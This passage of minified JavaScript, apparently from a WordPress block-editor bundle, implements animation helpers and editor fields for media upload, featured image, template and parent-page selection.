wy={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},kfe=(e,t)=&gt;e+t.charAt(0).toUpperCase()+t.substring(1),Efe=[&quot;Webkit&quot;,&quot;Ms&quot;,&quot;Moz&quot;,&quot;O&quot;];wy=Object.keys(wy).reduce((e,t)=&gt;(Efe.forEach(r=&gt;e[kfe(r,t)]=e[t]),e),wy);var Rfe=[&quot;x&quot;,&quot;y&quot;,&quot;z&quot;],Afe=/^(matrix|translate|scale|rotate|skew)/,Ofe=/^(translate)/,Ife=/^(rotate|skew)/,a5=(e,t)=&gt;ce.num(e)&amp;&amp;e!==0?e+t:e,I_=(e,t)=&gt;ce.arr(e)?e.every(r=&gt;I_(r,t)):ce.num(e)?e===t:parseFloat(e)===t,l5=class extends $d{constructor(t){let{x:r,y:o,z:n}=t,i=u5(t,Rfe),a=[],l=[];(r||o||n)&amp;&amp;(a.push([r||0,o||0,n||0]),l.push(c=&gt;[`translate3d(${c.map(u=&gt;a5(u,&quot;px&quot;)).join(&quot;,&quot;)})`,I_(c,0)])),Ji(i,(c,u)=&gt;{if(u===&quot;transform&quot;)a.push([c||&quot;&quot;]),l.push(d=&gt;[d,d===&quot;&quot;]);else if(Afe.test(u)){if(delete i[u],ce.und(c))return;let d=Ofe.test(u)?&quot;px&quot;:Ife.test(u)?&quot;deg&quot;:&quot;&quot;;a.push($n(c)),l.push(u===&quot;rotate3d&quot;?([f,m,h,g])=&gt;[`rotate3d(${f},${m},${h},${a5(g,d)})`,I_(g,0)]:f=&gt;[`${u}(${f.map(m=&gt;a5(m,d)).join(&quot;,&quot;)})`,I_(f,u.startsWith(&quot;scale&quot;)?1:0)])}}),a.length&amp;&amp;(i.transform=new c5(a,l)),super(i)}},c5=class extends ip{constructor(t,r){super(),this._value=null,this.inputs=t,this.transforms=r}get(){return this._value||(this._value=this._get())}_get(){let t=&quot;&quot;,r=!0;return zt(this.inputs,(o,n)=&gt;{let i=Bo(o[0]),[a,l]=this.transforms[n](ce.arr(i)?i:o.map(Bo));t+=&quot; &quot;+a,r=r&amp;&amp;l}),r?&quot;none&quot;:t}observerAdded(t){t==1&amp;&amp;zt(this.inputs,r=&gt;zt(r,o=&gt;En(o)&amp;&amp;au(o,this)))}observerRemoved(t){t==0&amp;&amp;zt(this.inputs,r=&gt;zt(r,o=&gt;En(o)&amp;&amp;lu(o,this)))}eventObserved(t){t.type==&quot;change&quot;&amp;&amp;(this._value=null),Xd(this,t)}},Nfe=[&quot;a&quot;,&quot;abbr&quot;,&quot;address&quot;,&quot;area&quot;,&quot;article&quot;,&quot;aside&quot;,&quot;audio&quot;,&quot;b&quot;,&quot;base&quot;,&quot;bdi&quot;,&quot;bdo&quot;,&quot;big&quot;,&quot;blockquote&quot;,&quot;body&quot;,&quot;br&quot;,&quot;button&quot;,&quot;canvas&quot;,&quot;caption&quot;,&quot;cite&quot;,&quot;code&quot;,&quot;col&quot;,&quot;colgroup&quot;,&quot;data&quot;,&quot;datalist&quot;,&quot;dd&quot;,&quot;del&quot;,&quot;details&quot;,&quot;dfn&quot;,&quot;dialog&quot;,&quot;div&quot;,&quot;dl&quot;,&quot;dt&quot;,&quot;em&quot;,&quot;embed&quot;,&quot;fieldset&quot;,&quot;figcaption&quot;,&quot;figure&quot;,&quot;footer&quot;,&quot;form&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;head&quot;,&quot;header&quot;,&quot;hgroup&quot;,&quot;hr&quot;,&quot;html&quot;,&quot;i&quot;,&quot;iframe&quot;,&quot;img&quot;,&quot;input&quot;,&quot;ins&quot;,&quot;kbd&quot;,&quot;keygen&quot;,&quot;label&quot;,&quot;legend&quot;,&quot;li&quot;,&quot;link&quot;,&quot;main&quot;,&quot;map&quot;,&quot;mark&quot;,&quot;menu&quot;,&quot;menuitem&quot;,&quot;meta&quot;,&quot;meter&quot;,&quot;nav&quot;,&quot;noscript&quot;,&quot;object&quot;,&quot;ol&quot;,&quot;optgroup&quot;,&quot;option&quot;,&quot;output&quot;,&quot;p&quot;,&quot;param&quot;,&quot;picture&quot;,&quot;pre&quot;,&quot;progress&quot;,&quot;q&quot;,&quot;rp&quot;,&quot;rt&quot;,&quot;ruby&quot;,&quot;s&quot;,&quot;samp&quot;,&quot;script&quot;,&quot;section&quot;,&quot;select&quot;,&quot;small&quot;,&quot;source&quot;,&quot;span&quot;,&quot;strong&quot;,&quot;style&quot;,&quot;sub&quot;,&quot;summary&quot;,&quot;sup&quot;,&quot;table&quot;,&quot;tbody&quot;,&quot;td&quot;,&quot;textarea&quot;,&quot;tfoot&quot;,&quot;th&quot;,&quot;thead&quot;,&quot;time&quot;,&quot;title&quot;,&quot;tr&quot;,&quot;track&quot;,&quot;u&quot;,&quot;ul&quot;,&quot;var&quot;,&quot;video&quot;,&quot;wbr&quot;,&quot;circle&quot;,&quot;clipPath&quot;,&quot;defs&quot;,&quot;ellipse&quot;,&quot;foreignObject&quot;,&quot;g&quot;,&quot;image&quot;,&quot;line&quot;,&quot;linearGradient&quot;,&quot;mask&quot;,&quot;path&quot;,&quot;pattern&quot;,&quot;polygon&quot;,&quot;polyline&quot;,&quot;radialGradient&quot;,&quot;rect&quot;,&quot;stop&quot;,&quot;svg&quot;,&quot;text&quot;,&quot;tspan&quot;],Ffe=[&quot;scrollTop&quot;,&quot;scrollLeft&quot;];Ri.assign({batchedUpdates:uM.unstable_batchedUpdates,createStringInterpolator:b_,colors:EB});var Dfe=VB(Nfe,{applyAnimatedValues:Pfe,createAnimatedStyle:e=&gt;new l5(e),getComponentProps:e=&gt;u5(e,Ffe)}),V3e=Dfe.animated;var xy=s(D(),1);function fM(e){return{top:e.offsetTop,left:e.offsetLeft}}function mM(e){let t=(0,xy.useRef)(null),r=(0,xy.useRef)(void 0);return t.current&amp;&amp;(r.current=fM(t.current)),(0,xy.useLayoutEffect)(()=&gt;{let o=r.current;if(!o||!t.current||window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches)return;let n=new A_({x:0,y:0,config:{mass:5,tension:2e3,friction:200},onChange({value:c}){if(!t.current)return;let{x:u,y:d}=c;u=Math.round(u),d=Math.round(d);let f=u===0&amp;&amp;d===0;t.current.style.transform=f?&quot;&quot;:`translate3d(${u}px,${d}px,0)`}});t.current.style.transform=&quot;&quot;;let i=fM(t.current),a=Math.round(o.left-i.left),l=Math.round(o.top-i.top);return n.start({x:0,y:0,from:{x:a,y:l}}),()=&gt;{n.stop(),n.set({x:0,y:0})}},[e]),t}var xe=s(C(),1),{MediaUploadModal:Bfe}=Do(fp.privateApis);function hM({children:e,index:t,className:r}){let o=mM(t);return(0,xe.jsx)(&quot;div&quot;,{ref:o,className:r,children:e})}function dp(e){return Array.isArray(e)?e:e?[e]:[]}function Mfe({render:e,multiple:t,...r}){let[o,n]=(0,$t.useState)(!1);return window.__experimentalDataViewsMediaModal?(0,xe.jsxs)(xe.Fragment,{children:[e&amp;&amp;e({open:()=&gt;n(!0)}),o&amp;&amp;(0,xe.jsx)(Bfe,{...r,multiple:t,isOpen:o,onClose:()=&gt;{n(!1),r.onClose?.()},onSelect:i=&gt;{n(!1),r.onSelect?.(i)}})]}):(0,xe.jsx)(fp.MediaUpload,{...r,render:e,multiple:t?&quot;add&quot;:void 0})}function f5({open:e,children:t,label:r,showTooltip:o=!1,onFilesDrop:n,attachment:i,isUploading:a=!1}){let l=i&amp;&amp;(0,rf.isBlobURL)(i.source_url),c=(0,xe.jsxs)(&quot;div&quot;,{className:re(&quot;fields__media-edit-picker-button&quot;,{&quot;has-attachment&quot;:i}),role:&quot;button&quot;,tabIndex:0,onClick:()=&gt;{a||e()},onKeyDown:u=&gt;{a||(u.key===&quot;Enter&quot;||u.key===&quot; &quot;)&amp;&amp;(u.preventDefault(),e())},&quot;aria-label&quot;:r,&quot;aria-disabled&quot;:a,children:[t,l&amp;&amp;(0,xe.jsx)(&quot;span&quot;,{className:&quot;fields__media-edit-picker-button-spinner&quot;,children:(0,xe.jsx)(ut.Spinner,{})}),!a&amp;&amp;(0,xe.jsx)(ut.DropZone,{onFilesDrop:u=&gt;n(u,i?.id)})]});return o?(0,xe.jsx)(ut.Tooltip,{text:r,placement:&quot;top&quot;,children:c}):c}var Lfe=[&quot;application/zip&quot;,&quot;application/x-zip-compressed&quot;,&quot;application/x-rar-compressed&quot;,&quot;application/x-7z-compressed&quot;,&quot;application/x-tar&quot;,&quot;application/x-gzip&quot;];function Vfe({attachment:e}){return(0,xe.jsx)(ut.__experimentalTruncate,{className:&quot;fields__media-edit-filename&quot;,children:e.title.rendered})}function gM(e){return(0,xe.jsx)(f5,{...e,children:(0,xe.jsx)(&quot;span&quot;,{className:&quot;fields__media-edit-placeholder&quot;,children:e.label})})}function vM({itemId:e,index:t,totalItems:r,isUploading:o,moveItem:n,orientation:i=&quot;vertical&quot;}){let a=i===&quot;horizontal&quot;;return(0,xe.jsxs)(xe.Fragment,{children:[(0,xe.jsx)(ut.Button,{__next40pxDefaultSize:!0,icon:a?Nt:Tv,label:a?(0,An.__)(&quot;Move left&quot;):(0,An.__)(&quot;Move up&quot;),size:&quot;small&quot;,disabled:o||t===0,accessibleWhenDisabled:!0,tooltipPosition:&quot;top&quot;,onClick:l=&gt;{l.stopPropagation(),n(e,&quot;up&quot;)}}),(0,xe.jsx)(ut.Button,{__next40pxDefaultSize:!0,icon:a?Ft:Cv,label:a?(0,An.__)(&quot;Move right&quot;):(0,An.__)(&quot;Move down&quot;),size:&quot;small&quot;,disabled:o||t===r-1,accessibleWhenDisabled:!0,tooltipPosition:&quot;top&quot;,onClick:l=&gt;{l.stopPropagation(),n(e,&quot;down&quot;)}})]})}function yM({attachment:e}){let t=e.source_url,r=e.mime_type||&quot;&quot;;return r.startsWith(&quot;image&quot;)?(0,xe.jsx)(&quot;img&quot;,{className:&quot;fields__media-edit-thumbnail&quot;,alt:e.alt_text||&quot;&quot;,src:t}):r.startsWith(&quot;audio&quot;)?(0,xe.jsx)(ut.Icon,{icon:fR}):r.startsWith(&quot;video&quot;)?(0,xe.jsx)(ut.Icon,{icon:iO}):Lfe.includes(r)?(0,xe.jsx)(ut.Icon,{icon:uR}):(0,xe.jsx)(ut.Icon,{icon:$R})}function jfe({allItems:e,addButtonLabel:t,multiple:r,removeItem:o,moveItem:n,open:i,onFilesDrop:a,isUploading:l,setTargetItemId:c}){return(0,xe.jsxs)(&quot;div&quot;,{className:re(&quot;fields__media-edit-expanded&quot;,{&quot;is-multiple&quot;:r,&quot;is-single&quot;:!r,&quot;is-empty&quot;:!e?.length}),children:[e?.map((u,d)=&gt;{let f=u.mime_type?.startsWith(&quot;image&quot;),m=(0,rf.isBlobURL)(u.source_url),h=u.id;return(0,xe.jsxs)(hM,{index:d,className:re(&quot;fields__media-edit-expanded-item&quot;,{&quot;has-preview-image&quot;:f}),children:[(0,xe.jsx)(f5,{open:()=&gt;{c(h),i()},label:m?(0,An.__)(&quot;Replace&quot;):(0,An.sprintf)((0,An.__)(&quot;Replace %s&quot;),u.title.rendered),showTooltip:!0,onFilesDrop:a,attachment:u,isUploading:l,children:(0,xe.jsx)(&quot;div&quot;,{className:&quot;fields__media-edit-expanded-preview&quot;,children:(0,xe.jsx)(ut.__experimentalVStack,{spacing:0,alignment:&quot;center&quot;,justify:&quot;center&quot;,className:&quot;fields__media-edit-expanded-preview-stack&quot;,children:(!m||f)&amp;&amp;(0,xe.jsx)(yM,{attachment:u})})})}),!m&amp;&amp;(0,xe.jsx)(&quot;div&quot;,{className:&quot;fields__media-edit-expanded-overlay&quot;,children:(0,xe.jsxs)(ut.__experimentalHStack,{className:&quot;fields__media-edit-expanded-actions&quot;,spacing:0,alignment:&quot;flex-end&quot;,expanded:!1,children:[r&amp;&amp;e.length&gt;1&amp;&amp;(0,xe.jsx)(vM,{itemId:h,index:d,totalItems:e.length,isUploading:l,moveItem:n,orientation:&quot;horizontal&quot;}),(0,xe.jsx)(ut.Button,{__next40pxDefaultSize:!0,icon:Kn,label:(0,An.__)(&quot;Remove&quot;),size:&quot;small&quot;,disabled:l,accessibleWhenDisabled:!0,tooltipPosition:&quot;top&quot;,onClick:g=&gt;{g.stopPropagation(),o(h)}})]})})]},u.id)}),(r||!e?.length)&amp;&amp;(0,xe.jsx)(gM,{open:()=&gt;{c(void 0),i()},label:t,onFilesDrop:a,isUploading:l})]})}function zfe({allItems:e,addButtonLabel:t,multiple:r,removeItem:o,moveItem:n,open:i,onFilesDrop:a,isUploading:l,setTargetItemId:c}){return(0,xe.jsxs)(xe.Fragment,{children:[!!e?.length&amp;&amp;(0,xe.jsx)(&quot;div&quot;,{className:re(&quot;fields__media-edit-compact-group&quot;,{&quot;is-single&quot;:e.length===1}),children:(0,xe.jsx)(ut.__experimentalVStack,{spacing:0,children:e.map((u,d)=&gt;{let f=(0,rf.isBlobURL)(u.source_url),m=r&amp;&amp;e.length&gt;1,h=u.id;return(0,xe.jsxs)(hM,{index:d,className:&quot;fields__media-edit-compact&quot;,children:[(0,xe.jsx)(f5,{open:()=&gt;{c(h),i()},label:(0,An.__)(&quot;Replace&quot;),showTooltip:!0,onFilesDrop:a,attachment:u,isUploading:l,children:(0,xe.jsxs)(xe.Fragment,{children:[(0,xe.jsx)(yM,{attachment:u}),!f&amp;&amp;(0,xe.jsx)(Vfe,{attachment:u})]})}),!f&amp;&amp;(0,xe.jsxs)(ut.__experimentalHStack,{className:&quot;fields__media-edit-compact-movers&quot;,spacing:0,alignment:&quot;flex-end&quot;,expanded:!1,children:[m&amp;&amp;(0,xe.jsx)(vM,{itemId:h,index:d,totalItems:e.length,isUploading:l,moveItem:n,orientation:&quot;vertical&quot;}),(0,xe.jsx)(ut.Button,{__next40pxDefaultSize:!0,icon:Kn,label:(0,An.__)(&quot;Remove&quot;),size:&quot;small&quot;,disabled:l,accessibleWhenDisabled:!0,tooltipPosition:&quot;top&quot;,onClick:g=&gt;{g.stopPropagation(),o(h)}})]})]},u.id)})})}),(r||!e?.length)&amp;&amp;(0,xe.jsx)(gM,{open:()=&gt;{c(void 0),i()},label:t,onFilesDrop:a,isUploading:l})]})}function bM({data:e,field:t,onChange:r,hideLabelFromVision:o,allowedTypes:n=[&quot;image&quot;],multiple:i,isExpanded:a,validity:l}){let c=t.getValue({item:e}),[u,d]=(0,$t.useState)(!1),f=(0,$t.useRef)(null),[m,h]=(0,$t.useState)(void 0);(0,$t.useEffect)(()=&gt;{let V=f.current,j=()=&gt;{d(!0)};return V?.addEventListener(&quot;invalid&quot;,j),()=&gt;V?.removeEventListener(&quot;invalid&quot;,j)},[]);let g=(0,Cy.useSelect)(V=&gt;{if(!c)return null;let H=[...dp(c)].sort((ae,ne)=&gt;ae-ne),{getEntityRecords:X}=V(d5.store);return X(&quot;postType&quot;,&quot;attachment&quot;,{include:H})},[c]),v=(0,$t.useRef)(null);g!==null&amp;&amp;(v.current=g);let y=g;if(g===null&amp;&amp;v.current&amp;&amp;c){let V=new Set(v.current.map(j=&gt;j.id));dp(c).every(j=&gt;V.has(j))&amp;&amp;(y=v.current)}let b=(0,$t.useMemo)(()=&gt;{if(!y)return null;let V=dp(c),j=new Map(y.map(H=&gt;[H.id,H]));return V.map(H=&gt;j.get(H)).filter(H=&gt;H!==void 0)},[y,c]),{createErrorNotice:_}=(0,Cy.useDispatch)(pM.store),{receiveEntityRecords:S}=(0,Cy.useDispatch)(d5.store),[x,T]=(0,$t.useState)(),R=(0,$t.useRef)(void 0),[F,B]=(0,$t.useState)(!1),[z,L]=(0,$t.useState)([]);(0,$t.useEffect)(()=&gt;{F&amp;&amp;(B(!1),R.current?.())},[F]);let M=(0,$t.useCallback)(V=&gt;r(t.setValue({item:e,value:V})),[e,t,r]),k=(0,$t.useCallback)(V=&gt;{let H=dp(c).filter(X=&gt;X!==V);d(!0),M(H.length?H:void 0)},[c,M]),I=(0,$t.useCallback)((V,j)=&gt;{if(!b)return;let H=b.map(ne=&gt;ne.id),X=H.indexOf(V),ae=j===&quot;up&quot;?X-1:X+1;[H[X],H[ae]]=[H[ae],H[X]],M(H)},[b,M]),U=(0,$t.useCallback)((V,j)=&gt;{T(j),(0,fp.uploadMedia)({allowedTypes:n?.length?n:void 0,filesList:V,onFileChange(H){let X=H.filter(ue=&gt;(0,rf.isBlobURL)(ue.url)).map(ue=&gt;ue.url);if(L(X),X.length)return;S(&quot;postType&quot;,&quot;attachment&quot;,[],void 0,!0);let ae=H.map(ue=&gt;ue.id);if(!i){M(ae[0]),T(void 0);return}let ne=dp(c);if(j===void 0)M([...ne,...ae]);else{let ue=[...ne];ue.splice(ne.indexOf(j),1,...ae),M(ue)}T(void 0)},onError(H){T(void 0),L([]),_(H.message,{type:&quot;snackbar&quot;})},multiple:!!i})},[n,c,i,_,M,S]),G=t.placeholder||(i?(0,An.__)(&quot;Choose files&quot;):(0,An.__)(&quot;Choose file&quot;)),Y=(0,$t.useMemo)(()=&gt;{if(!z.length)return b;let V=[...b||[]],j=z.map(H=&gt;({id:H,source_url:H,mime_type:(0,rf.getBlobTypeByURL)(H)}));if(x!==void 0){let H=V.findIndex(X=&gt;X.id===x);V.splice(H,1,...j)}else V.push(...j);return V},[b,x,z]);(0,$t.useEffect)(()=&gt;{if(!u)return;let V=f.current;if(V)if(l){let j=l?.custom;h(j),j?.type===&quot;invalid&quot;?V.setCustomValidity(j.message||(0,An.__)(&quot;Invalid&quot;)):V.setCustomValidity(&quot;&quot;)}else V.setCustomValidity(&quot;&quot;),h(void 0)},[u,t.isValid,l]);let Z=(0,$t.useCallback)(V=&gt;{u||(!V.relatedTarget||!V.currentTarget.contains(V.relatedTarget))&amp;&amp;d(!0)},[u]);return(0,xe.jsxs)(&quot;div&quot;,{onBlur:Z,children:[(0,xe.jsx)(&quot;fieldset&quot;,{className:&quot;fields__media-edit&quot;,&quot;data-field-id&quot;:t.id,children:(0,xe.jsx)(Mfe,{onSelect:V=&gt;{if(!i){M(V.id),T(void 0);return}let j=Array.isArray(V)?V.map(X=&gt;X.id):[V.id],H=dp(c);if(!H.length)M(j);else if(x===void 0){let X=H.filter(ne=&gt;j.includes(ne)),ae=j.filter(ne=&gt;!H.includes(ne));M([...X,...ae])}else if(V.id!==x){let X=H.filter(ae=&gt;ae!==V.id);M(X.map(ae=&gt;ae===x?V.id:ae))}T(void 0)},onClose:()=&gt;T(void 0),allowedTypes:n,value:x!==void 0?x:c,multiple:i&amp;&amp;x===void 0,title:t.label,render:({open:V})=&gt;{R.current=V;let j=a?jfe:zfe;return(0,xe.jsxs)(ut.__experimentalVStack,{spacing:2,children:[t.label&amp;&amp;(o?(0,xe.jsx)(ut.VisuallyHidden,{as:&quot;legend&quot;,children:t.label}):(0,xe.jsx)(ut.BaseControl.VisualLabel,{as:&quot;legend&quot;,style:{marginBottom:0},children:t.label})),(0,xe.jsx)(j,{allItems:Y,addButtonLabel:G,multiple:i,removeItem:k,moveItem:I,open:()=&gt;B(!0),onFilesDrop:U,isUploading:!!z.length,setTargetItemId:T}),t.description&amp;&amp;(0,xe.jsx)(ut.__experimentalText,{variant:&quot;muted&quot;,children:t.description})]})}})}),(0,xe.jsx)(ut.VisuallyHidden,{children:(0,xe.jsx)(&quot;input&quot;,{type:&quot;text&quot;,ref:f,value:c??&quot;&quot;,tabIndex:-1,&quot;aria-hidden&quot;:&quot;true&quot;,onChange:()=&gt;{}})}),m&amp;&amp;(0,xe.jsx)(&quot;div&quot;,{&quot;aria-live&quot;:&quot;polite&quot;,children:(0,xe.jsxs)(&quot;p&quot;,{className:re(&quot;components-validated-control__indicator&quot;,{&quot;is-invalid&quot;:m.type===&quot;invalid&quot;,&quot;is-valid&quot;:m.type===&quot;valid&quot;}),children:[(0,xe.jsx)(ut.Icon,{className:&quot;components-validated-control__indicator-icon&quot;,icon:Cl,size:16,fill:&quot;currentColor&quot;}),m.message]})})]})}var m5=s(C(),1),SM=({item:e,config:t})=&gt;{let r=e?._embedded?.[&quot;wp:featuredmedia&quot;]?.[0],o=r?.source_url;return o?(0,m5.jsx)(&quot;img&quot;,{className:&quot;fields-controls__featured-image-image&quot;,src:o,alt:&quot;&quot;,srcSet:r?.media_details?.sizes?Object.values(r.media_details.sizes).map(n=&gt;`${n.source_url} ${n.width}w`).join(&quot;, &quot;):void 0,sizes:t?.sizes||&quot;100vw&quot;}):(0,m5.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-placeholder&quot;})};var wM=s(C(),1),Ufe={id:&quot;featured_media&quot;,type:&quot;media&quot;,label:(0,_M.__)(&quot;Featured Image&quot;),Edit:e=&gt;(0,wM.jsx)(bM,{...e,isExpanded:!0}),render:SM,setValue:({value:e})=&gt;({featured_media:e??0}),enableSorting:!1,filterBy:!1},p5=Ufe;var IM=s(E(),1);var F_=s(D(),1),h5=s(W(),1),CM=s(A(),1),TM=s(O(),1),PM=s(E(),1);var xM=s(O(),1),uu=s(W(),1);function Hfe(e,t){return t?e===&quot;page&quot;?`${e}-${t}`:`single-${e}-${t}`:e===&quot;page&quot;?&quot;page&quot;:`single-${e}`}var Ty=&quot;&quot;;function N_(e,t,r){return(0,xM.useSelect)(o=&gt;{if(!e||!t)return Ty;let n=String(t),i=Do(o(uu.store)).getHomePage();if(e===&quot;page&quot;&amp;&amp;i?.postType===&quot;page&quot;&amp;&amp;i?.postId===n){let f=o(uu.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1})?.find(m=&gt;m.slug===&quot;front-page&quot;);if(f)return He(f)}let a=Do(o(uu.store)).getPostsPageId();if(e===&quot;page&quot;&amp;&amp;a===n){let d=o(uu.store).getDefaultTemplateId({slug:&quot;home&quot;});if(!d)return Ty;let f=o(uu.store).getEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,d);return f?He(f):Ty}let l=Hfe(e,r),c=o(uu.store).getDefaultTemplateId({slug:l});if(!c)return Ty;let u=o(uu.store).getEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,c);return u?He(u):Ty},[e,t,r])}var kM=s(C(),1),Gfe=[],EM=({data:e,field:t,onChange:r})=&gt;{let{id:o}=t,n=e.type,i=typeof e.id==&quot;number&quot;?e.id:parseInt(e.id,10),a=e.slug,{templates:l,canSwitchTemplate:c}=(0,TM.useSelect)(h=&gt;{let g=h(h5.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:n})??Gfe,{getHomePage:v,getPostsPageId:y}=Do(h(h5.store)),b=String(i),_=b!==void 0&amp;&amp;y()===b,S=b!==void 0&amp;&amp;n===&quot;page&quot;&amp;&amp;v()?.postId===b;return{templates:g,canSwitchTemplate:!_&amp;&amp;!S}},[i,n]),u=N_(n,i,a),d=t.getValue({item:e}),f=(0,F_.useCallback)(h=&gt;r({[o]:h}),[o,r]),m=(0,F_.useMemo)(()=&gt;{let h=l.map(g=&gt;({label:He(g),value:g.slug}));return[{label:u,value:&quot;&quot;},...h]},[l,u]);return(0,kM.jsx)(CM.SelectControl,{__next40pxDefaultSize:!0,label:(0,PM.__)(&quot;Template&quot;),hideLabelFromVision:!0,value:d,options:m,onChange:f,disabled:!c})};var RM=s(O(),1),AM=s(W(),1);var D_=s(C(),1),OM=({item:e,field:t})=&gt;{let r=e.type,o=e.slug,n=e.id,i=t.getValue({item:e}),a=N_(r,n,o),l=(0,RM.useSelect)(c=&gt;{if(!i)return;let d=c(AM.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:r})?.find(f=&gt;f.slug===i);return d?He(d):void 0},[r,i]);return(0,D_.jsx)(D_.Fragment,{children:l??a})};var Wfe={id:&quot;template&quot;,type:&quot;text&quot;,label:(0,IM.__)(&quot;Template&quot;),Edit:EM,render:OM,enableSorting:!1,filterBy:!1},g5=Wfe;var qM=s(E(),1);var v5=s(M_(),1),L_=s(A(),1),y5=s(O(),1),Il=s(D(),1),b5=s(W(),1),VM=s(he(),1),jM=s(ft(),1),du=s(E(),1),zM=s(Ir(),1);var BM=s(ft(),1),MM=s(E(),1);function Py(e){return typeof e.title==&quot;object&quot;&amp;&amp;&quot;rendered&quot;in e.title&amp;&amp;e.title.rendered?(0,BM.decodeEntities)(e.title.rendered):`#${e?.id} (${(0,MM.__)(&quot;no title&quot;)})`}var Ol=s(C(),1);function Xfe(e){let t=e.map(n=&gt;({children:[],...n}));if(t.some(({parent:n})=&gt;n==null))return t;let r=t.reduce((n,i)=&gt;{let{parent:a}=i;return n[a]||(n[a]=[]),n[a].push(i),n},{}),o=n=&gt;n.map(i=&gt;{let a=r[i.id];return{...i,children:a&amp;&amp;a.length?o(a):[]}});return o(r[0]||[])}var LM=(e,t)=&gt;{let r=(0,v5.default)(e||&quot;&quot;).toLowerCase(),o=(0,v5.default)(t||&quot;&quot;).toLowerCase();return r===o?0:r.startsWith(o)?r.length:1/0};function Qfe({data:e,onChangeControl:t}){let[r,o]=(0,Il.useState)(null),n=e.parent,i=e.id,a=e.type,{parentPostTitle:l,pageItems:c,isHierarchical:u}=(0,y5.useSelect)(h=&gt;{let{getEntityRecord:g,getEntityRecords:v,getPostType:y}=h(b5.store),b=y(a),_=b?.hierarchical&amp;&amp;b.viewable,S=n?g(&quot;postType&quot;,a,n):null,x={per_page:100,exclude:i,parent_exclude:i,orderby:&quot;menu_order&quot;,order:&quot;asc&quot;,_fields:&quot;id,title,parent&quot;,...r!==null&amp;&amp;{search:r,orderby:&quot;relevance&quot;}};return{isHierarchical:_,parentPostTitle:S?Py(S):&quot;&quot;,pageItems:_?v(&quot;postType&quot;,a,x):null}},[r,n,i,a]),d=(0,Il.useMemo)(()=&gt;{let h=(b,_=0)=&gt;b.map(T=&gt;[{value:T.id,label:&quot;\u2014 &quot;.repeat(_)+(0,jM.decodeEntities)(T.name),rawName:T.name},...h(T.children||[],_+1)]).sort(([T],[R])=&gt;{let F=LM(T.rawName,r??&quot;&quot;),B=LM(R.rawName,r??&quot;&quot;);return F&gt;=B?1:-1}).flat();if(!c)return[];let g=c.map(b=&gt;({id:b.id,parent:b.parent??null,name:Py(b)}));r||(g=Xfe(g));let v=h(g),y=v.find(b=&gt;b.value===n);return n&amp;&amp;l&amp;&amp;!y&amp;&amp;v.unshift({value:n,label:l,rawName:&quot;&quot;}),v.map(b=&gt;({...b,value:b.value.toString()}))},[c,r,l,n]);if(!u)return null;let f=h=&gt;{o(h)},m=h=&gt;{if(h)return t(parseInt(h,10)??0);t(0)};return(0,Ol.jsx)(L_.ComboboxControl,{__next40pxDefaultSize:!0,label:(0,du.__)(&quot;Parent&quot;),help:(0,du.__)(&quot;Choose a parent page.&quot;),value:n?.toString(),options:d,onFilterValueChange:(0,VM.debounce)(h=&gt;f(h),300),onChange:m,hideLabelFromVision:!0})}var UM=({data:e,field:t,onChange:r})=&gt;{let{id:o}=t,n=(0,y5.useSelect)(a=&gt;a(b5.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home,[]),i=(0,Il.useCallback)(a=&gt;r({[o]:a}),[o,r]);return(0,Ol.jsx)(&quot;fieldset&quot;,{className:&quot;fields-controls__parent&quot;,children:(0,Ol.jsxs)(&quot;div&quot;,{children:[(0,Il.createInterpolateElement)((0,du.sprintf)((0,du.__)(&#039;Child pages inherit characteristics from their parent, such as URL structure. For instance, if &quot;Pricing&quot; is a child of &quot;Services&quot;, its URL would be %1$s&lt;wbr /&gt;/services&lt;wbr /&gt;/pricing.&#039;),(0,zM.filterURLForDisplay)(n).replace(/([/.])/g,&quot;&lt;wbr /&gt;$1&quot;)),{wbr:(0,Ol.jsx)(&quot;wbr&quot;,{})}),(0,Ol.jsx)(&quot;p&quot;,{children:(0,Il.createInterpolateElement)((0,du.__)(&quot;They also show up as sub-items in the default navigation menu. &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{a:(0,Ol.jsx)(L_.ExternalLink,{href:(0,du.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes&quot;),children:void 0})})}),(0,Ol.jsx)(Qfe,{data:e,onChangeControl:i})]})})};var HM=s(O(),1),GM=s(W(),1),WM=s(E(),1);var mp=s(C(),1),YM=({item:e})=&gt;{let t=(0,HM.useSelect)(r=&gt;{let{getEntityRecord:o}=r(GM.store);return e?.parent?o(&quot;postType&quot;,e.type,e.parent):null},[e.parent,e.type]);return t?(0,mp.jsx)(mp.Fragment,{children:Py(t)}):(0,mp.jsx)(mp.Fragment,{children:(0,WM.__)(&quot;None&quot;)})};var Jfe={id:&quot;parent&quot;,type:&quot;text&quot;,label:(0,qM.__)(&quot;Parent&quot;),Edit:UM,render:YM,enableSorting:!0,filterBy:!1},S5=Jfe;var XM=s(E(),1);var hp=s(A(),1),ZM=s(D(),1),ky=s(E(),1),pp=s(C(),1);function 